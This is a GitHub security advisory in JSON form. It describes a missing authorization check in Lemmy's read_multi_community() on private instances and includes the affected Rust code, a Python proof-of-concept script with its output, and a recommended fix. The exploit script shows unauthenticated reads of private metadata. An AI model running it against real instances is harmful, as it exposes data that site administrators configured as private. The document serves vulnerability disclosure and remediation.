{"id":"GHSA-jmxc-hhwx-gvv3","summary":"Private Lemmy instances expose multi-community metadata without authentication","details":"**NOTE**: Only affects development version.\n\n## Summary\n\n`read_multi_community()` does not enforce the private-instance setting. On a private instance, an unauthenticated visitor can read multi-community names, titles, summaries, sidebars, owner identities, and member community lists.\n\n## Details\n\nOther read handlers load `local_site` and call `check_private_instance()` before returning data to unauthenticated callers. `read_multi_community()` does not call that helper:\n\n```rust\npub async fn read_multi_community(\n  Query(data): Query\u003cGetMultiCommunity\u003e,\n  context: Data\u003cLemmyContext\u003e,\n  local_user_view: Option\u003cLocalUserView\u003e,\n) -\u003e LemmyResult\u003cJson\u003cGetMultiCommunityResponse\u003e\u003e {\n  let my_person_id = local_user_view.as_ref().map(|l| l.person.id);\n  let id = resolve_multi_community_identifier(&data.name, data.id, &context, &local_user_view)\n    .await?\n    .ok_or(LemmyErrorType::NoIdGiven)?;\n  let multi_community_view =\n    MultiCommunityView::read(&mut context.pool(), id, my_person_id).await?;\n```\n\n`get_community()`, `list_posts()`, `list_comments()`, `read_person()`, `search()`, and `resolve_object()` all enforce the private-instance guard.\n\n## Proof of Concept\n\nThe script creates a multi-community whose metadata contains a marker, turns on `private_instance`, confirms a guarded control endpoint blocks unauthenticated callers, then reads the same multi-community over `GET /multi_community` without authentication.\n\n```python\n#!/usr/bin/env python3\nimport json, random, string\nimport requests\n\nBASE       = \"http://127.0.0.1:8536/api/v4\"\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\n\ndef api(method, path, token=None, **kw):\n    h = kw.pop(\"headers\", {})\n    if token: h[\"Authorization\"] = \"Bearer \" + token\n    return requests.request(method, BASE + path, headers=h, **kw)\n\nsuffix = \"multi\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nsecret = \"SECRET_MULTI_\" + suffix\n\nadmin = api(\"POST\", \"/account/auth/login\", json={\"username_or_email\": ADMIN_USER, \"password\": ADMIN_PASS}).json()[\"jwt\"]\n\n# Create a multi-community whose title/summary/sidebar embed the marker.\nmid = api(\"POST\", \"/multi_community\", admin, json={\n    \"name\": \"m\" + suffix, \"title\": secret,\n    \"summary\": secret + \" summary\", \"sidebar\": secret + \" sidebar\",\n}).json()[\"multi_community_view\"][\"multi\"][\"id\"]\n\n# Enable private_instance.\napi(\"PUT\", \"/site\", admin, json={\"private_instance\": True})\n\nprint(\"private_instance:\", api(\"GET\", \"/site\").json()[\"site_view\"][\"local_site\"][\"private_instance\"])\n\n# Control: a comparable read endpoint correctly rejects unauthenticated callers.\ncontrol = api(\"GET\", \"/community/list\")\nprint(\"unauth /community/list (control):\", control.status_code, control.text[:120])\n\n# Leak: read_multi_community returns the private metadata to an unauthenticated caller.\nleak = api(\"GET\", \"/multi_community\", params={\"id\": mid})\nprint(\"unauth /multi_community:\", leak.status_code, leak.text[:300])\nprint(\"contains secret:\", secret in leak.text)\n```\n\nOutput:\n\n```text\nprivate_instance: True\nunauth /community/list (control): 400 {\"error\":\"instance_is_private\",\"cause\":\"InstanceIsPrivate\"}\nunauth /multi_community: 200 {\"multi_community_view\":{\"multi\":{\"title\":\"SECRET_MULTI_multijwxokm\",\"summary\":\"SECRET_MULTI_multijwxokm summary\",\"sidebar\":\"SECRET_MULTI_multijwxokm sidebar\"}}}\ncontains secret: True\n```\n\nThe control request shows the privacy setting is active. The multi-community endpoint still returns the private metadata.\n\n## Impact\n\nAn unauthenticated visitor can read multi-community metadata from an instance whose admin configured the site as private. The exposed fields include names, titles, summaries, sidebars, owner identities, and member community lists.\n\n## Recommended Fix\n\nLoad `local_site` at the start of `read_multi_community()` and call `check_private_instance(&local_user_view, &local_site)?` before resolving or reading the multi-community.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","modified":"2026-06-08T23:45:16.049766429Z","published":"2026-05-06T22:12:34Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-05-06T22:12:34Z","nvd_published_at":null,"cwe_ids":["CWE-862"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jmxc-hhwx-gvv3"},{"type":"WEB","url":"https://github.com/LemmyNet/lemmy/commit/637151121a8e27b2b8c95e98d6f86966b31b4a6d"},{"type":"PACKAGE","url":"https://github.com/LemmyNet/lemmy"}],"affected":[{"package":{"name":"lemmy_api","ecosystem":"crates.io","purl":"pkg:cargo/lemmy_api"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.19.1-rc.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-jmxc-hhwx-gvv3/GHSA-jmxc-hhwx-gvv3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}